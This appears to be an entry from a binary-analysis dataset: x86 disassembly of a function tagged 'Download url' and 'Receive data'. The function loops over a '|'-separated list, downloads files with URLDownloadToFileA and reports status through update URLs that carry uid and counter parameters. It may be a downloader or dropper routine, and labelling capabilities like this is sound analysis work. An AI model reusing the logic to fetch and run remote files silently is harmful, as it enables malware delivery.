Function at 0x415940
Capabilities:
Download url
Receive data

Disassembly:
sub esp, 0x1c
mov eax, dword [0x432b24]
push ebx
xor ebx, ebx
push ebp
push esi
cmp eax, ebx
push edi
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], 1
mov byte [esp + 0x13], bl
jne 0x415978
call fcn.00414780
cmp eax, ebx
mov dword [0x432b24], eax
je 0x415a4e
push 0x800
mov byte [esp + 0x17], 1
call sub.MFC42.DLL_operatornew
mov ebp, eax
push 0x800
push ebx
push ebp
call dword [sym.imp.MSVCRT.dll__mbsnbset]
mov edi, dword [esp + 0x48]
or ecx, 0xffffffff
xor eax, eax
push ebp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.wf_startqs.htmoswtrue
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x50]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004161c0
push ebp
call sub.MFC42.DLL_operatordelete
mov eax, dword [esp + 0x48]
mov esi, dword [sym.imp.MSVCRT.dll__mbschr]
push 0x7c
push eax
call esi
mov edx, eax
add esp, 0x20
test edx, edx
je 0x415a4e
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
inc ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x415a4a
inc edx
push 0x7c
push edx
call esi
mov edx, eax
add esp, 8
test edx, edx
jne 0x415a2c
mov dword [esp + 0x14], ebx
mov esi, dword [esp + 0x34]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call sub.MFC42.DLL_operatornew
mov ebp, dword [sym.imp.MSVCRT.dll__mbsstr]
mov ebx, eax
push 0x4323f8
push esi
mov dword [esp + 0x48], ebx
call ebp
mov edx, eax
add esp, 0xc
test edx, edx
je 0x415ac6
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add edx, 2
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x4323f4
mov eax, ecx
mov esi, edi
mov edi, ebx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
add esp, 8
test eax, eax
je 0x415ac6
mov byte [eax], 0
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ecx + ebx - 1], al
jmp 0x415ac9
mov byte [ebx], 0
mov edi, dword [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call sub.MFC42.DLL_operatornew
mov edx, dword [esp + 0x34]
mov ebp, eax
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x28], ebp
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ebp, ebp
mov byte [ecx + ebp], al
je 0x415e20
push 0x4324ec
push ebp
call dword [sym.imp.MSVCRT.dll__mbsstr]
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x34], edi
je 0x415e16
mov esi, edi
sub esi, ebp
lea ecx, [esi + 1]
push ecx
call sub.MFC42.DLL_operatornew
mov ebx, eax
push esi
push ebp
push ebx
call dword [sym.imp.MSVCRT.dll__mbsnbcpy]
mov edx, ebx
push 0x104
sub edx, ebp
mov byte [edx + edi], 0
call sub.MFC42.DLL_operatornew
push 0x104
mov ebp, eax
call sub.MFC42.DLL_operatornew
mov edi, eax
push edi
push ebp
push 0
push 0
push ebx
mov dword [esp + 0x5c], edi
call dword [sym.imp.MSVCRT.dll__splitpath]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x5c]
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call sub.MFC42.DLL_operatordelete
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
mov esi, dword [esp + 0x68]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x64], edx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x70]
not ecx
dec ecx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x68]
not ecx
dec ecx
add eax, edx
mov byte [ecx + eax], 0
call sub.MFC42.DLL_operatordelete
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
mov esi, dword [esp + 0x74]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MFC42.DLL_operatornew
mov ebp, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 0x3c
mov dword [esp + 0x24], ebp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x44]
not ecx
dec ecx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
mov eax, ebp
dec ecx
add eax, edx
mov byte [ecx + eax], 0
mov ecx, dword [esp + 0x38]
push ecx
push ebp
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x415d07
mov dword [esp + 0x20], 0
jmp 0x415dee
mov al, byte [esp + 0x13]
test al, al
je 0x415dee
mov ecx, dword [esp + 0x18]
push 0x800
inc ecx
mov dword [esp + 0x1c], ecx
call sub.MFC42.DLL_operatornew
push 0x800
mov ebp, eax
call sub.MFC42.DLL_operatornew
push 0x800
push 0
push ebp
mov dword [esp + 0x30], eax
call dword [sym.imp.MSVCRT.dll__mbsnbset]
mov edi, dword [esp + 0x4c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.wf_updatestatus.htm
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov edi, dword [esp + 0x20]
push ecx
push 5
push str.uid_i__cfi_i__sup_i
push edi
call dword [sym.imp.MSVCRT.dll_sprintf]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004161c0
push ebp
call sub.MFC42.DLL_operatordelete
mov eax, dword [esp + 0x38]
push eax
call sub.MFC42.DLL_operatordelete
mov ebp, dword [esp + 0x44]
add esp, 0x20
push ebp
call sub.MFC42.DLL_operatordelete
mov ecx, dword [esp + 0x34]
push ecx
call sub.MFC42.DLL_operatordelete
push ebx
call sub.MFC42.DLL_operatordelete
mov eax, dword [esp + 0x40]
mov ebx, dword [esp + 0x48]
add esp, 0xc
inc eax
mov dword [esp + 0x34], eax
mov edi, eax
test edi, edi
mov ebp, edi
jne 0x415b1f
mov edx, dword [esp + 0x28]
push edx
call sub.MFC42.DLL_operatordelete
push ebx
call sub.MFC42.DLL_operatordelete
mov eax, dword [esp + 0x28]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret